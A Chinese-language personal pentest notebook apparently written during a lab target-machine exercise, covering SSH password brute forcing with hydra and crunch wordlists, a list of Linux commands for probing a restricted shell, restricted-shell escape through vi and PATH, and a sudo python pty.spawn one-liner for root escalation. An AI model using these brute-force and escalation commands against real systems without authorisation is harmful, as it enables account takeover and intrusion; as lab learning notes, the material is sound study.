摘要
渗透测试个人经验
ssh
ssh爆破
ssh爆破使用工具 hydra ,主要因为快速,其他工具速度过慢
使用hydra爆破:
1
|
hydra -l ezpd -P 1.txt 192.168.229.129 ssh -v
|
1
2
3
4
5
|
-l 指定用户名
-L 指定用户名字典文件
-p 指定密码
-P 指定密码字典文件
-v 显示详细的执行过程
|
ssh密码生成
ssh密码生成工具 crunch
cat /usr/share/crunch/charset.lst
选择要使用的crunch字典字符集范围

找到合适的字符集,然后使用
1
|
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric -t k1ll0r@@ > pass.dic
|
关于上面命令的疑问 @替代未知字符未知
?
Linux常用命令
遇到一个被限制的shell,想要整理一个命令清单,后期想办法爆破一下有哪些命令可以使用
主要参考
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
ls # 列出目录的内容
alias # 定义或显示别名
unalias # 删除别名定义
pwd # 打印工作目录
cd # 更改目录
cat # 读取文件
more # 查看一个长文件的内容
less # 查看一个长文件的内容 但是它允许在文件中和正向操作一样的反向操作
head # head -2 file1 查看一个文件的前两行
tail # tail -2 file1 查看一个文件的最后两行
tac # 从最后一行开始反向查看一个文件的内容
cp # 复制文件和目录
rm # 删除文件和目录
mv # 移动(重命名)文件和目录
mkdir # 创建目录
man # 显示其他命令的手册页面
touch # 创建空文件
groupadd # 创建一个新用户组
groupdel # 删除一个用户组
groupmod # 重命名一个用户组
useradd # 创建用户
userdel # 删除用户
usermod # 修改用户属性
chage # (-E 2005-12-31 user1 设置用户口令的失效期限 )
pwck # 检查 '/etc/passwd' 的文件格式和语法修正以及存在的用户
grpck # 检查 '/etc/passwd' 的文件格式和语法修正以及存在的群组
newgrp # (newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组 )
chmod # 更改文件权限
chown # 更改文件拥有者
chattr # 文件的特殊属性
lsattr # 显示文件的特殊属性
sudo # 以超级用户身份执行命令
su # 切换用户
htop # 显示进程和资源信息
unzip # 解压zip文件
echo # 显示文本行
cat # 打印文件内容
ps # 报告shell进程状态
kill # 终止程序
ping # 测试网络连接
history # 显示以前的命令列表
passwd # 更改用户密码
which # 返回程序的完整二进制路径
shred # 覆盖文件以隐藏其内容
grep # 打印与给定条件匹配行
sort # 排序文件的内容
comm # 对比两个文件内容
ifconfig # 显示网络配置
netstat # 端口查看?
nslookup # 查看DNS解析
whoami # 输出用户名
whatis # 显示单行说明
wc # 字数文件
paste # paste file1 file2 合并两个文件或两栏的内容
bunzip2 # 解压软件
bzip3 # 同上
bzip2 # 同上
gzip # 同上
lunzip # 同上
unzip # 同上
eb-utils # 同上
rzip # 同上
gunzip # 同上
rar # 同上
unrar # 同上
zip # 同上
unzip # 同上
uname # 显示操作系统信息
neofetch # 显示操作系统和硬件信息
find # 搜索遵循模式的文件
sed # 每次仅读取一行内容(读取文件)
ssh # ssh远程登录
ftp # 访问ftp服务器
wget # 从互联网检索文件
file # 查看文件类型
export # 环境变量相关
apt # 包管理器(下载安装工具)
yum # 同上
rpm # 同上
pacman # 同上
dpkg # 好像也是同上
arch # 显示机器的处理器架构
dmidecode # 推荐参数(-q) 显示硬件系统部件 - (SMBIOS / DMI)
hdparm # (-i) /dev/hda 罗列一个磁盘的架构特性(-tT /dev/sda) 在磁盘上执行测试性读取操作
lspci # (-tv)罗列 PCI 设备 (-tv)显示 USB 设备
date # 显示系统日期
cal # (cal 2007) 显示2007年的日历表
clock # (-w)将时间修改保存到 BIOS
tree # 显示文件和目录由根目录开始的树形结构
ostree # 操作系统树
pstree # 进程树
iconv # 列出已知的编码
locate # 文件搜索
whereis # 文件搜索(显示一个二进制文件、源码或man的位置 )
which # 文件搜索(显示一个二进制文件或可执行文件的完整路径 )
mount # 挂载一个文件系统
umount # 卸载一个文件系统
fuser # 当设备繁忙时强制卸载
df # (-h 显示已经挂载的分区列表 )
du # (-sh dir1 估算目录 'dir1' 已经使用的磁盘空间' )
ln # 创建一个指向文件或目录的软链接
|
下面是不要轻易尝试的
1
2
3
4
5
|
shutdown # 关闭您的机器
reboot # 重启
logout # 注销
telinit # 关机相关命令
exit # 退出当前shell会话
|
OK,发现盲点:本次靶机ssh登录后,无输入直接两次tab键即可查看可用命令
受限shell逃逸
参考文章
顾名思义:受限制的shell,有以下功能受限(可以设置某些选项不受限)

WikiPedia上有提到受限shell的弱点

A user can break out of the restricted environment by running a program that features a shell function
用户可以通过运行具有shell功能的程序来打破限制环境
Linux 自带程序里vi/vim
有类似功能,当然如果能够再开一个shell也能达到相同目的
实战靶机里逃逸所用语句:

找不到执行的命令
尝试完整路径执行命令如/bin/whoami
最好还是设置一下环境变量
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
sudoers权限查看
命令的话直接sudo -l
查看就OK了
权限管理文件是/etc/sudoers
sudoers文件编辑结构


u002 代表对 u002 用户的权限编辑
第一个 ALL 代表网络中的主机(具体的权限控制,根据初步阅读可以设置为机器组。这些可能包括主机名(可选择使用通配符)、IP地址、网络号码或网络组。
)
Groups of machines. These may include host names (optionally with wildcards) IP addresses, network numbers or netgroups.
第二个 ALL 规定可以使用谁的身份去执行命令 (目前发现 如果是root的话就可以使用root权限执行命令 )
如果设置了 NOPASSWD 可以免密执行
第三个 ALL 规定可以使用(指定身份)执行的命令
如果是如下权限设置的话,就可以使用 python 一句话提权
sudo python -c 'import pty;pty.spawn("/bin/bash")'

其他配置后可以使用root权限的方式